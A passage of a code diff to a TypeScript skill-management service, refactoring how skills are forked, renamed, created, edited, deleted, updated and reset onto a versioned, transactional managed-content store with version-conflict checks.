+ database: Db = db, ): Promise { if (planned.length === 0) return []; - const skills = await listReferenceTargets(companyId); - await db.transaction(async (tx) => { - for (const item of planned) { + const skills = await listReferenceTargets(companyId, database); + await database.transaction(async (tx) => { + for (const item of [...planned].sort((a, b) => a.agentId.localeCompare(b.agentId))) { const row = await tx .select({ id: agentsTable.id, @@ -4061,43 +4120,12 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo return planned.map((item) => item.reassignment); } - async function cleanupFailedFork(companyId: string, sourceSkillId: string, forkSkillId: string, forkDir: string) { - await db.transaction(async (tx) => { - await notifyDeliveryWork(tx, DELIVERY_QUEUES.skillPackages); - await notifySkillVersionRetention(tx, companyId); - await tx - .update(companySkills) - .set({ currentVersionId: null, updatedAt: new Date() }) - .where(and(eq(companySkills.id, forkSkillId), eq(companySkills.companyId, companyId))); - await tx - .delete(companySkillComments) - .where(and(eq(companySkillComments.companyId, companyId), eq(companySkillComments.companySkillId, forkSkillId))); - await tx - .delete(companySkillStars) - .where(and(eq(companySkillStars.companyId, companyId), eq(companySkillStars.companySkillId, forkSkillId))); - await tx - .delete(companySkillVersions) - .where(and(eq(companySkillVersions.companyId, companyId), eq(companySkillVersions.companySkillId, forkSkillId))); - await tx - .delete(companySkills) - .where(and(eq(companySkills.id, forkSkillId), eq(companySkills.companyId, companyId))); - await tx - .update(companySkills) - .set({ - forkCount: sql`greatest(${companySkills.forkCount} - 1, 0)`, - installCount: sql`greatest(${companySkills.installCount} - 1, 0)`, - updatedAt: new Date(), - }) - .where(and(eq(companySkills.id, sourceSkillId), eq(companySkills.companyId, companyId))); - }); - await fs.rm(forkDir, { recursive: true, force: true }); - } - async function forkSkill( companyId: string, skillId: string, input: CompanySkillForkRequest = {}, actor: SkillActor | null = null, + publication: SkillContentPublication = {}, ): Promise { await ensureSkillInventoryCurrent(companyId); const source = await getById(companyId, skillId); @@ -4110,99 +4138,66 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo const forkName = input.name?.trim() || `${source.name} Fork`; const forkKey = `company/${companyId}/${forkSlug}`; const plannedReassignments = await planSkillReassignments(companyId, source, forkKey, input.reassignAgentIds); - const managedRoot = resolveManagedSkillsRoot(companyId); - await fs.mkdir(managedRoot, { recursive: true }); - const forkDir = await fs.mkdtemp(path.join(managedRoot, `${forkSlug}-fork-`)); - const sourceVersion = await getCurrentVersion(source); - const repositoryFiles = sourceVersion?.repositorySnapshotId ? await runtimeVersionInventory(companyId, sourceVersion) : null; - for (const entry of repositoryFiles ?? source.fileInventory) { - const detail = repositoryFiles?.find(file => file.path === entry.path) ?? await readFile(companyId, source.id, entry.path); - if (!detail) continue; - const targetPath = path.resolve(forkDir, detail.path); - await fs.mkdir(path.dirname(targetPath), { recursive: true }); - await fs.writeFile(targetPath, skillFileBytes(detail), { mode: detail.executable ? 0o755 : 0o644 }); - } - const skillFilePath = path.join(forkDir, "SKILL.md"); - const markdown = await fs.readFile(skillFilePath, "utf8").catch(() => source.markdown); - if (!(await statPath(skillFilePath))?.isFile()) { - await fs.writeFile(skillFilePath, markdown, "utf8"); - } - const inventory = await collectLocalSkillInventory(forkDir); - const parsed = parseFrontmatterMarkdown(markdown); - const accessSourceId = await retainProjectSkillAccess(db, companyId, source.accessSourceId); - const metadata = { - accessSourceId, - sourceKind: "managed_local", - forkedFromSkillId: source.id, - forkedFromCompanyId: source.companyId, - forkedByAgentId: actor?.type === "agent" ? actor.agentId ?? null : null, - forkedByUserId: actor?.type === "user" ? actor.userId ?? null : null, - }; - const imported = await upsertImportedSkills(companyId, [{ - key: forkKey, - slug: forkSlug, - name: asString(parsed.frontmatter.name) ?? forkName, - description: asString(parsed.frontmatter.description) ?? source.description, - markdown, - sourceType: "local_path", - sourceLocator: forkDir, - sourceRef: null, - trustLevel: deriveTrustLevel(inventory), - compatibility: source.compatibility, - fileInventory: inventory, - metadata, - }]); - const forked = imported[0]!; - await db - .update(companySkills) - .set({ - accessSourceId, - iconUrl: source.iconUrl, - color: source.color, - tagline: source.tagline, - authorName: source.authorName, - homepageUrl: source.homepageUrl, - categories: source.categories, - sharingScope: input.sharingScope ?? "company", - forkedFromSkillId: source.id, - forkedFromCompanyId: source.companyId, - updatedAt: new Date(), - }) - .where(and(eq(companySkills.id, forked.id), eq(companySkills.companyId, companyId))); - await db - .update(companySkills) - .set({ - forkCount: sql`${companySkills.forkCount} + 1`, - installCount: sql`${companySkills.installCount} + 1`, - updatedAt: new Date(), - }) - .where(and(eq(companySkills.id, source.id), eq(companySkills.companyId, companyId))); - await createVersion(companyId, forked.id, { label: "Initial version" }, actor); - const persistedFork = await getById(companyId, forked.id).then((skill) => { - if (!skill) throw notFound("Forked skill not found"); - return skill; - }); - let reassignments: CompanySkillForkReassignment[]; - try { - reassignments = await applySkillReassignments(companyId, source, forkKey, plannedReassignments); - } catch (error) { - await cleanupFailedFork(companyId, source.id, forked.id, forkDir); - throw error; - } - return { - skill: persistedFork, - original: summarizeOriginalSkill(source), - reassignments, - }; + let reassignments: CompanySkillForkReassignment[] = []; + const forked = await createLocalSkill(companyId, { + name: forkName, slug: forkSlug, forkedFromSkillId: source.id, sharingScope: input.sharingScope ?? "company", + }, actor, { ...publication, afterPublish: async (tx, row, version) => { + reassignments = await applySkillReassignments(companyId, source, forkKey, plannedReassignments, tx as unknown as Db); + await publication.afterPublish?.(tx, row, version); + } }); + return { skill: forked, original: summarizeOriginalSkill(source), reassignments }; } async function renameSkill( companyId: string, skillId: string, input: CompanySkillRenameRequest, + publication: SkillContentPublication = {}, ): Promise { await ensureSkillInventoryCurrent(companyId); - if (!await getById(companyId, skillId)) throw notFound("Skill not found"); + const base = await getById(companyId, skillId); + if (!base) throw notFound("Skill not found"); + if (base.sourceType === "managed") { + if (!base.currentVersionId) throw unprocessable("Managed skill has no committed version."); + const newName = input.name.trim(); + const newSlug = normalizeSkillSlug(input.slug ?? null) ?? normalizeSkillSlug(newName); + if (!newName || !newSlug) throw unprocessable("Skill name must contain at least one letter or number."); + const newKey = `company/${companyId}/${newSlug}`; + const { files } = await managedContent.read(companyId, skillId, base.currentVersionId); + const markdown = rewriteFrontmatterName(files.find(file => file.path === "SKILL.md")!.content, newName); + const candidate = await managedContent.prepare(companyId, + files.map(file => file.path === "SKILL.md" ? { ...file, content: markdown } : file)); + const references = await listReferenceTargets(companyId); + const reassignments: CompanySkillForkReassignment[] = []; + const saved = await managedContent.publish(base, candidate, { + name: newName, slug: newSlug, key: newKey, markdown, + }, null, { ...publication, expectedVersionId: input.expectedVersionId, reuseCurrentVersion: true, + validate: async tx => { + await visibility(tx).assertSkill(companyId, skillId); + await publication.validate?.(tx); + const [collision] = await tx.select({ id: companySkills.id, slug: companySkills.slug }).from(companySkills).where(and( + eq(companySkills.companyId, companyId), or(eq(companySkills.slug, newSlug), eq(companySkills.key, newKey)), ne(companySkills.id, skillId))); + if (collision) throw conflict(`A company skill with slug "${newSlug}" already exists.`, + collision.slug === newSlug ? { conflict: "slug", slug: newSlug } : { conflict: "key", key: newKey }); + }, + afterPublish: async (tx, row, version) => { + const rows = await tx.select({ id: agentsTable.id, adapterConfig: agentsTable.adapterConfig }).from(agentsTable) + .where(eq(agentsTable.companyId, companyId)).orderBy(asc(agentsTable.id)).for("update"); + for (const row of rows) { + const config = row.adapterConfig as Record; + const entries = resolveDesiredSkillEntries(references, config); + if (!entries.some(entry => entry.key === base.key)) continue; + const next = entries.map(entry => entry.key === base.key ? { ...entry, key: newKey } : entry); + await updateAgentConfigurationInTransaction(tx as unknown as Db, row.id, { + adapterConfig: writePaperclipSkillSyncPreference(config, next), + }, { allowPendingApprovalConfigUpdate: true }); + reassignments.push({ agentId: row.id, previousSkillKey: base.key, nextSkillKey: newKey }); + } + await publication.afterPublish?.(tx, row, version); + }, + }); + return { skill: toCompanySkill(saved.skill), previousName: base.name, previousSlug: base.slug, previousKey: base.key, reassignments }; + } const managedRoot = resolveManagedSkillsRoot(companyId); let result: CompanySkillRenameResult | undefined; let restoreSource: (() => Promise) | undefined; @@ -4360,7 +4355,7 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo const skill = await getById(companyId, skillId); if (!skill) return null; const audit = skill.sourceType === "catalog" || skill.sourceType === "local_path" - ? await auditInstalledSkillBytes(skill) + ? (skill.currentVersionId && skill.sourceType === "catalog" ? await auditSkill(companyId, skill.id) : await auditInstalledSkillBytes(skill)) : null; const metadata = getSkillMeta(skill); const statusMeta = { @@ -4469,7 +4464,7 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo async function readLoadedSkillFile(skill: CompanySkill, relativePath: string): Promise { const normalizedPath = normalizePortablePath(relativePath || "SKILL.md"); - if (skill.metadata?.skillSourceId && skill.metadata?.snapshotHash && skill.currentVersionId) { + if (skill.currentVersionId && (skill.sourceType !== "local_path" || skill.metadata?.skillSourceId || skill.metadata?.sourceKind === "paperclip_bundled")) { const version = await readVersionMetadata(skill.companyId, skill.id, skill.currentVersionId); let file: CompanySkillVersionFileInventoryEntry | undefined; if (version) { @@ -4479,9 +4474,12 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo } } if (!file) throw notFound("Installed skill snapshot is missing a file."); - return { ...file, skillId: skill.id, language: file.encoding === "base64" ? null : inferLanguageFromPath(normalizedPath), - markdown: file.encoding !== "base64" && isMarkdownPath(normalizedPath), editable: false }; + return { ...file, skillId: skill.id, versionId: skill.currentVersionId, + language: file.encoding === "base64" ? null : inferLanguageFromPath(normalizedPath), + markdown: file.encoding !== "base64" && isMarkdownPath(normalizedPath), + editable: deriveSkillSourceInfo(skill).editable && file.encoding !== "base64" }; } + if (skill.sourceType === "managed") throw unprocessable("Managed skill has no committed version."); const fileEntry = skill.fileInventory.find((entry) => entry.path === normalizedPath); if (!fileEntry) throw notFound("Skill file not found"); const source = deriveSkillSourceInfo(skill); @@ -4492,7 +4490,7 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo const diskBytes = absolutePath ? await fs.readFile(absolutePath).catch(() => null) : null; if (diskBytes !== null) { const file = snapshotFile(normalizedPath, fileEntry.kind, diskBytes, Boolean((await fs.stat(absolutePath!)).mode & 0o111)); - return { ...file, skillId: skill.id, language: file.encoding === "base64" ? null : inferLanguageFromPath(normalizedPath), + return { ...file, skillId: skill.id, versionId: skill.currentVersionId, language: file.encoding === "base64" ? null : inferLanguageFromPath(normalizedPath), markdown: file.encoding !== "base64" && isMarkdownPath(normalizedPath), editable: source.editable && file.encoding !== "base64" }; } else if (normalizedPath === "SKILL.md") { content = skill.markdown; @@ -4535,6 +4533,7 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo return { skillId: skill.id, + versionId: skill.currentVersionId, path: normalizedPath, kind: fileEntry.kind, content, @@ -4601,164 +4600,70 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo companyId: string, input: CompanySkillCreateRequest, actor: SkillActor | null = null, + publication: SkillContentPublication = {}, ): Promise { if (input.folderId) await folderSvc.validateSkillFolder(companyId, input.folderId); const slug = normalizeSkillSlug(input.slug ?? input.name) ?? "skill"; const key = `company/${companyId}/${slug}`; - - const forkSource = input.forkedFromSkillId - ? await getById(companyId, input.forkedFromSkillId) - : null; - if (input.forkedFromSkillId && !forkSource) { - throw notFound("Fork source skill not found"); - } + const forkSource = input.forkedFromSkillId ? await getById(companyId, input.forkedFromSkillId) : null; + if (input.forkedFromSkillId && !forkSource) throw notFound("Fork source skill not found"); if (forkSource?.accessSourceId && input.sharingScope === "public_link") { throw forbidden("Project skills cannot be published through a public link."); } - const forkVersion = forkSource ? await getCurrentVersion(forkSource) : null; - const repositoryFiles = forkVersion?.repositorySnapshotId ? await runtimeVersionInventory(companyId, forkVersion) : null; - const sharingScope = normalizeMutableSharingScope(input.sharingScope) ?? "company"; - const managedRoot = resolveManagedSkillsRoot(companyId); - const skillDir = path.resolve(managedRoot, slug); - - const fallbackMarkdown = [ - "---", - `name: ${input.name}`, - ...(input.description?.trim() ? [`description: ${input.description.trim()}`] : []), - "---", - "", - `# ${input.name}`, - "", - input.description?.trim() ? input.description.trim() : "Describe what this skill does.", - "", - ].join("\n"); - const markdown = input.markdown?.trim().length - ? input.markdown - : repositoryFiles?.find(file => file.path === "SKILL.md")?.content ?? forkSource?.markdown ?? fallbackMarkdown; - - return db.transaction(async (tx) => { - await tx.execute(sql` - select pg_advisory_xact_lock(hashtextextended(${`${companyId}:${slug}`}, 0)) - `); - const existing = await getByKey(companyId, key, tx); - if (existing) throw conflict(`A company skill with slug "${slug}" already exists.`); - - // Stage in a unique directory. Publication is a single rename and never - // removes an existing directory, so a failed retry cannot clobber bytes. - const stagingRoot = path.join(managedRoot, ".staging"); - await fs.mkdir(stagingRoot, { recursive: true }); - const stagingDir = await fs.mkdtemp(path.join(stagingRoot, `${slug}-${randomUUID()}-`)); - let published = false; - try { + const files = forkSource ? await collectVersionFileInventory(companyId, forkSource) : []; + const fallbackMarkdown = ["---", stringifyFrontmatter({ name: input.name, + ...(input.description?.trim() ? { description: input.description.trim() } : {}) }), + "---", "", `# ${input.name}`, "", input.description?.trim() || "Describe what this skill does.", ""].join("\n"); + const markdown = input.markdown?.trim().length ? input.markdown + : files.find(file => file.path === "SKILL.md")?.content ?? fallbackMarkdown; + const inventory = [...files.filter(file => file.path !== "SKILL.md"), + { path: "SKILL.md", kind: "skill" as const, content: markdown }]; + const candidate = await managedContent.prepare(companyId, inventory); + const parsed = parseFrontmatterMarkdown(markdown); + const store = readSkillStoreMetadata(parsed.frontmatter, forkSource?.metadata ?? null); + const values: typeof companySkills.$inferInsert = { + companyId, key, slug, name: asString(parsed.frontmatter.name) ?? input.name, + description: asString(parsed.frontmatter.description) ?? input.description?.trim() ?? forkSource?.description ?? null, + markdown, sourceType: "managed", sourceLocator: null, sourceRef: null, + trustLevel: deriveTrustLevel(inventory), compatibility: forkSource?.compatibility ?? "compatible", + fileInventory: serializeFileInventory(inventory), + iconUrl: normalizeStoreText(input.iconUrl, 2000) ?? forkSource?.iconUrl ?? store.iconUrl, + color: normalizeStoreText(input.color, 64) ?? forkSource?.color ?? store.color, + tagline: normalizeStoreText(input.tagline, 120) ?? forkSource?.tagline ?? store.tagline, + authorName: normalizeStoreText(input.authorName, 200) ?? forkSource?.authorName ?? store.authorName, + homepageUrl: normalizeStoreText(input.homepageUrl, 2000) ?? forkSource?.homepageUrl ?? store.homepageUrl, + categories: input.categories ? normalizeCategoryList(input.categories) : forkSource?.categories ?? store.categories, + folderId: input.folderId ?? null, sharingScope: normalizeMutableSharingScope(input.sharingScope) ?? "company", + forkedFromSkillId: forkSource?.id ?? null, forkedFromCompanyId: forkSource?.companyId ?? null, + metadata: { sourceKind: "managed", ...(forkSource ? { + forkedFromSkillId: forkSource.id, forkedFromCompanyId: forkSource.companyId, + forkedByAgentId: actor?.type === "agent" ? actor.agentId ?? null : null, + forkedByUserId: actor?.type === "user" ? actor.userId ?? null : null, + } : {}) }, + }; + const result = await managedContent.create(values, candidate, actor, { + ...publication, label: publication.label ?? "Initial version", + validate: async tx => { + await publication.validate?.(tx); + if (input.folderId) await folderService(tx as unknown as Db).validateSkillFolder(companyId, input.folderId); if (forkSource) { - for (const entry of repositoryFiles ?? forkSource.fileInventory) { - const detail = repositoryFiles?.find(file => file.path === entry.path) ?? await readFile(companyId, forkSource.id, entry.path); - if (!detail) continue; - const targetPath = path.resolve(stagingDir, detail.path); - await fs.mkdir(path.dirname(targetPath), { recursive: true }); - await fs.writeFile(targetPath, skillFileBytes(detail), { mode: detail.executable ? 0o755 : 0o644 }); + await visibility(tx).assertSkill(companyId, forkSource.id); + const [currentSource] = await tx.select({ accessSourceId: companySkills.accessSourceId }).from(companySkills) + .where(and(eq(companySkills.companyId, companyId), eq(companySkills.id, forkSource.id))).for("update"); + if (!currentSource || currentSource.accessSourceId !== (forkSource.accessSourceId ?? null)) { + throw conflict("Fork source access changed. Reload before retrying."); } + values.accessSourceId = await retainProjectSkillAccess(tx as unknown as Db, companyId, currentSource.accessSourceId); } - await fs.writeFile(path.join(stagingDir, "SKILL.md"), markdown, "utf8"); - await fs.mkdir(managedRoot, { recursive: true }); - const existingPublishedDir = await resolveExistingSkillDirectory(skillDir); - if (existingPublishedDir) { - // A publish can survive an outer database rollback. Recover only an - // exact file-for-file retry. Never silently adopt different content. - const existingStat = await fs.lstat(skillDir); - if (existingStat.isSymbolicLink() || !existingStat.isDirectory()) { - throw conflict(`The storage location for skill "${slug}" is unavailable.`); - } - const stagedInventory = await collectLocalSkillInventory(stagingDir); - const existingInventory = await collectLocalSkillInventory(skillDir); - const stagedPaths = stagedInventory.map(entry => entry.path).sort(); - const existingPaths = existingInventory.map(entry => entry.path).sort(); - if (JSON.stringify(stagedPaths) !== JSON.stringify(existingPaths)) { - throw conflict(`Different files already exist for skill "${slug}". Choose another name.`); - } - for (const file of stagedPaths) { - const target = path.join(skillDir, file); - const stat = await fs.lstat(target); - const root = await fs.realpath(skillDir); - const real = await fs.realpath(target); - if (stat.isSymbolicLink() || !stat.isFile() || !real.startsWith(`${root}${path.sep}`) - || !(await fs.readFile(target)).equals(await fs.readFile(path.join(stagingDir, file)))) { - throw conflict(`Different files already exist for skill "${slug}". Choose another name.`); - } - } - await fs.rm(stagingDir, { recursive: true, force: true }); - } else { - await fs.rename(stagingDir, skillDir); - } - published = true; - - const inventory = (forkSource || existingPublishedDir) - ? await collectLocalSkillInventory(skillDir) - : [{ path: "SKILL.md", kind: "skill" as const }]; - const parsed = parseFrontmatterMarkdown(markdown); - const accessSourceId = await retainProjectSkillAccess(db, companyId, forkSource?.accessSourceId); - const metadata = { - sourceKind: "managed_local", - ...(accessSourceId ? { accessSourceId } : {}), - ...(forkSource ? { - forkedFromSkillId: forkSource.id, - forkedFromCompanyId: forkSource.companyId, - forkedByAgentId: actor?.type === "agent" ? actor.agentId ?? null : null, - forkedByUserId: actor?.type === "user" ? actor.userId ?? null : null, - } : {}), - }; - const imported = await upsertImportedSkills(companyId, [{ - key, - slug, - name: asString(parsed.frontmatter.name) ?? input.name, - description: asString(parsed.frontmatter.description) ?? input.description?.trim() ?? forkSource?.description ?? null, - markdown, - sourceType: "local_path", - sourceLocator: skillDir, - sourceRef: null, - trustLevel: deriveTrustLevel(inventory), - compatibility: forkSource?.compatibility ?? "compatible", - fileInventory: inventory, - metadata, - }], tx); - const created = imported[0]!; - const row = await tx - .update(companySkills) - .set({ - iconUrl: normalizeStoreText(input.iconUrl, 2000) ?? forkSource?.iconUrl ?? created.iconUrl, - color: normalizeStoreText(input.color, 64) ?? forkSource?.color ?? created.color, - tagline: normalizeStoreText(input.tagline, 120) ?? forkSource?.tagline ?? created.tagline, - authorName: normalizeStoreText(input.authorName, 200) ?? forkSource?.authorName ?? created.authorName, - homepageUrl: normalizeStoreText(input.homepageUrl, 2000) ?? forkSource?.homepageUrl ?? created.homepageUrl, - categories: input.categories ? normalizeCategoryList(input.categories) : forkSource?.categories ?? created.categories, - folderId: input.folderId ?? null, - sharingScope, - forkedFromSkillId: forkSource?.id ?? null, - forkedFromCompanyId: forkSource?.companyId ?? null, - updatedAt: new Date(), - }) - .where(and(eq(companySkills.id, created.id), eq(companySkills.companyId, companyId))) - .returning() - .then((rows) => rows[0] ?? null); - if (forkSource) { - await tx - .update(companySkills) - .set({ forkCount: sql`${companySkills.forkCount} + 1`, installCount: sql`${companySkills.installCount} + 1`, updatedAt: new Date() }) - .where(and(eq(companySkills.id, forkSource.id), eq(companySkills.companyId, companyId))); - } - const versionInventory = await collectVersionFileInventoryFromDirectory(skillDir); - await createVersion(companyId, created.id, { label: "Initial version" }, actor, { - database: tx, - skipInventoryRefresh: true, - skill: row ? toCompanySkill(row) : created, - fileInventory: versionInventory, - }); - return (await getById(companyId, created.id, tx)) ?? (row ? toCompanySkill(row) : created); - } catch (error) { - if (!published) await fs.rm(stagingDir, { recursive: true, force: true }).catch(() => {}); - throw error; - } + }, + afterPublish: async (tx, skill, version) => { + if (forkSource) await tx.update(companySkills).set({ + forkCount: sql`${companySkills.forkCount} + 1`, installCount: sql`${companySkills.installCount} + 1`, + }).where(and(eq(companySkills.id, forkSource.id), eq(companySkills.companyId, companyId))); + await publication.afterPublish?.(tx, skill, version); + }, }); + return toCompanySkill(result.skill); } async function withSkillFileMutation( @@ -4808,9 +4713,51 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo content: string, actor: SkillActor | null = null, format: { encoding?: "utf8" | "base64"; executable?: boolean; expectedVersionId?: string | null; + publication?: SkillContentPublication; afterUpdate?: (versionId: string | null) => Promise; onRollback?: (restore: () => Promise, versionId: string | null) => void } = {}, ): Promise { + const base = await getById(companyId, skillId); + if (!base) throw notFound("Skill not found"); + if (base.sourceType === "managed") { + if (!base.currentVersionId) throw unprocessable("Managed skill has no committed version."); + if (format.expectedVersionId !== undefined && format.expectedVersionId !== base.currentVersionId) { + throw conflict("Skill version changed. Read the current version before retrying."); + } + const normalizedPath = normalizePortablePath(relativePath); + try { assertSkillSnapshotPath(normalizedPath); } catch { throw unprocessable("Invalid skill file path."); } + if (normalizedPath === "SKILL.md" && format.encoding === "base64") throw unprocessable("SKILL.md must be UTF-8 text."); + const bytes = skillFileBytes({ content, encoding: format.encoding }); + if (format.encoding === "base64" && bytes.toString("base64") !== content) { + throw unprocessable("Binary files must use canonical base64 encoding."); + } + const { files } = await managedContent.read(companyId, skillId, base.currentVersionId); + const previous = files.find(file => file.path === normalizedPath); + const updated = snapshotFile(normalizedPath, classifyInventoryKind(normalizedPath), bytes, + format.executable ?? previous?.executable ?? false); + const inventory = [...files.filter(file => file.path !== normalizedPath), updated]; + const candidate = await managedContent.prepare(companyId, inventory); + const parsed = normalizedPath === "SKILL.md" ? parseFrontmatterMarkdown(content) : null; + const saved = await managedContent.publish(base, candidate, { + fileInventory: serializeFileInventory(inventory), trustLevel: deriveTrustLevel(inventory), + ...(parsed ? { markdown: content, name: asString(parsed.frontmatter.name) ?? base.name, + description: asString(parsed.frontmatter.description) ?? base.description, + ...readSkillStoreMetadata(parsed.frontmatter, base.metadata) } : {}), + }, actor, { + ...format.publication, expectedVersionId: format.expectedVersionId, reuseCurrentVersion: true, + validate: async tx => { + await visibility(tx).assertSkill(companyId, skillId); + await format.publication?.validate?.(tx); + }, + afterPublish: async (tx, skill, version) => { + await format.publication?.afterPublish?.(tx, skill, version); + await format.afterUpdate?.(version.id); + }, + }); + return { ...updated, skillId, versionId: saved.version.id, + language: updated.encoding === "base64" ? null : inferLanguageFromPath(normalizedPath), + markdown: updated.encoding !== "base64" && isMarkdownPath(normalizedPath), editable: updated.encoding !== "base64" }; + } return withSkillFileMutation(companyId, skillId, async (skill, tx) => { if (format.expectedVersionId !== undefined && skill.currentVersionId !== format.expectedVersionId) { @@ -4890,7 +4837,36 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo skillId: string, input: CompanySkillFileDeleteRequest, actor: SkillActor | null = null, + publication: SkillContentPublication = {}, ): Promise { + const base = await getById(companyId, skillId); + if (!base) throw notFound("Skill not found"); + if (base.sourceType === "managed") { + if (!base.currentVersionId) throw unprocessable("Managed skill has no committed version."); + if (input.expectedVersionId !== undefined && input.expectedVersionId !== base.currentVersionId) { + throw conflict("Skill version changed. Read the current version before retrying."); + } + const normalizedPath = normalizePortablePath(input.path); + if (!normalizedPath) throw unprocessable("Skill file path is required."); + const { files } = await managedContent.read(companyId, skillId, base.currentVersionId); + const matches = (file: CompanySkillVersionFileInventoryEntry) => input.target === "folder" + ? file.path.startsWith(`${normalizedPath}/`) : file.path === normalizedPath; + const deletedPaths = files.filter(matches).map(file => file.path); + if (!deletedPaths.length) throw notFound(input.target === "folder" ? "Skill folder not found" : "Skill file not found"); + if (deletedPaths.includes("SKILL.md")) throw unprocessable("SKILL.md cannot be deleted."); + const inventory = files.filter(file => !matches(file)); + const candidate = await managedContent.prepare(companyId, inventory); + const saved = await managedContent.publish(base, candidate, { + fileInventory: serializeFileInventory(inventory), trustLevel: deriveTrustLevel(inventory), + }, actor, { ...publication, expectedVersionId: input.expectedVersionId, + label: `Deleted ${normalizedPath}${input.target === "folder" ? "/" : ""}`, + validate: async tx => { + await visibility(tx).assertSkill(companyId, skillId); + await publication.validate?.(tx); + }, + }); + return { skillId, path: normalizedPath, target: input.target, deletedPaths, versionId: saved.version.id }; + } let backup: { directory: string; source: string; copy: string } | undefined; let mutation: { slug: string; sourceLocator: string | null; previousVersionId: string | null; savedVersionId?: string } | undefined; let needsRestore = false; @@ -5004,17 +4980,18 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo } } - async function installUpdate(companyId: string, skillId: string, options: { force?: boolean } = {}): Promise { + async function installUpdate(companyId: string, skillId: string, options: { force?: boolean; expectedVersionId?: string | null } = {}, publication: SkillContentPublication = {}): Promise { await ensureSkillInventoryCurrent(companyId); const skill = await getById(companyId, skillId); if (!skill) return null; + if (options.expectedVersionId !== undefined && options.expectedVersionId !== skill.currentVersionId) throw conflict("Skill version changed. Read the current version before retrying."); const status = await updateStatus(companyId, skillId); if (!status?.supported) { throw unprocessable(status?.reason ?? "This skill does not support updates."); } if (skill.sourceType === "catalog" || skill.sourceType === "local_path") { - const audit = await auditInstalledSkillBytes(skill); + const audit = skill.sourceType === "catalog" && skill.currentVersionId ? (await auditSkill(companyId, skill.id))! : await auditInstalledSkillBytes(skill); await persistAuditMetadata(skill, audit); if (audit.verdict === "fail") { throw unprocessable("Skill update is blocked by hard-stop audit findings.", { @@ -5032,83 +5009,9 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo if (skill.sourceType === "catalog") { const catalogId = asString(getSkillMeta(skill).catalogId); - if (!catalogId) { - throw unprocessable("Catalog skill metadata is incomplete."); - } - const catalogSkill = resolveCatalogSkillIfPresent(catalogId); - if (!catalogSkill) { - throw unprocessable("Catalog entry is no longer available in the shipped manifest.", { - updateHoldReason: "origin_unavailable", - }); - } - assertCatalogSkillInstallable(catalogSkill); - const originSnapshotLocator = await materializeCatalogOriginSnapshot(companyId, catalogSkill, skill.slug); - const snapshotSkill = { - ...skill, - sourceLocator: originSnapshotLocator, - sourceRef: catalogSkill.contentHash, - fileInventory: catalogSkill.files.map((entry) => ({ path: entry.path, kind: entry.kind })), - metadata: { - ...(isPlainRecord(skill.metadata) ? skill.metadata : {}), - originHash: catalogSkill.contentHash, - }, - }; - const candidateAudit = await auditInstalledSkillBytes(snapshotSkill); - if (candidateAudit.verdict === "fail") { - throw unprocessable("Catalog update is blocked by hard-stop audit findings.", { - updateHoldReason: "audit_hard_stop", - audit: candidateAudit, - }); - } - const materializedDir = path.resolve( - resolveManagedSkillsRoot(companyId), - "__catalog__", - buildSkillRuntimeName(catalogSkill.key, skill.slug), - ); - await copySkillDirectory(originSnapshotLocator, materializedDir); - const markdown = await fs.readFile(path.join(originSnapshotLocator, catalogSkill.entrypoint), "utf8"); - const nextMetadata = buildCatalogSkillMetadata(catalogSkill, skill, originSnapshotLocator); - const nextValues = { - name: catalogSkill.name, - description: catalogSkill.description, - markdown, - sourceLocator: materializedDir, - sourceRef: catalogSkill.contentHash, - trustLevel: catalogSkill.trustLevel, - compatibility: catalogSkill.compatibility, - fileInventory: serializeFileInventory(catalogSkill.files.map((entry) => ({ - path: entry.path, - kind: entry.kind, - }))), - metadata: { - ...nextMetadata, - installedHash: catalogSkill.contentHash, - userModifiedAt: null, - updateHoldReason: null, - auditVerdict: "pass", - auditCodes: [], - auditScannedAt: new Date().toISOString(), - auditScanVersion: SKILL_AUDIT_SCAN_VERSION, - }, - updatedAt: new Date(), - }; - const row = await db - .update(companySkills) - .set(nextValues) - .where(and(eq(companySkills.id, skill.id), eq(companySkills.companyId, companyId))) - .returning() - .then((rows) => rows[0] ?? null); - if (!row) throw notFound("Skill not found"); - const updated = toCompanySkill(row); - const postAudit = await auditInstalledSkillBytes(updated); - if (postAudit.verdict === "fail") { - await persistAuditMetadata(updated, postAudit); - throw unprocessable("Catalog update produced hard-stop audit findings.", { - updateHoldReason: "audit_hard_stop", - audit: postAudit, - }); - } - return persistAuditMetadata(updated, postAudit); + if (!catalogId) throw unprocessable("Catalog skill metadata is incomplete."); + return (await installFromCatalog(companyId, { catalogSkillId: catalogId, slug: skill.slug, force: options.force }, + () => ({ ...publication, expectedVersionId: skill.currentVersionId }))).skill; } if (!skill.sourceLocator) { @@ -5120,11 +5023,13 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo if (!matching) { throw unprocessable(`Skill ${skill.key} could not be re-imported from its source.`); } - const imported = await upsertImportedSkills(companyId, [matching]); + const imported = await upsertImportedSkills(companyId, [matching], db, { + snapshots: await snapshotRemoteImports([matching]), bases: new Map([[matching.key, skill]]), publication, + }); return imported[0] ?? null; } - async function resetSkill(companyId: string, skillId: string, options: { force?: boolean } = {}): Promise { + async function resetSkill(companyId: string, skillId: string, options: { force?: boolean; expectedVersionId?: string | null } = {}, publication: SkillContentPublication = {}): Promise { await ensureSkillInventoryCurrent(companyId); const skill = await getById(companyId, skillId); if (!skill) return null; @@ -5133,6 +5038,29 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo } const metadata = getSkillMeta(skill); + const originVersionId = asString(metadata.originVersionId); + if (originVersionId) { + if (metadata.userModifiedAt && !options.force) throw unprocessable("Skill reset would discard saved modifications; rerun with --force after confirming reset."); + const { files } = await managedContent.read(companyId, skillId, originVersionId); + const candidate = await managedContent.prepare(companyId, files); + const markdown = files.find(file => file.path === "SKILL.md")!.content; + const parsed = parseFrontmatterMarkdown(markdown); + const audit = await executionContent.withVersion({ companyId, skillId, versionId: originVersionId }, sourceLocator => + auditInstalledSkillBytes({ ...skill, sourceType: "local_path", sourceLocator, fileInventory: files.map(({ path, kind }) => ({ path, kind })) })); + if 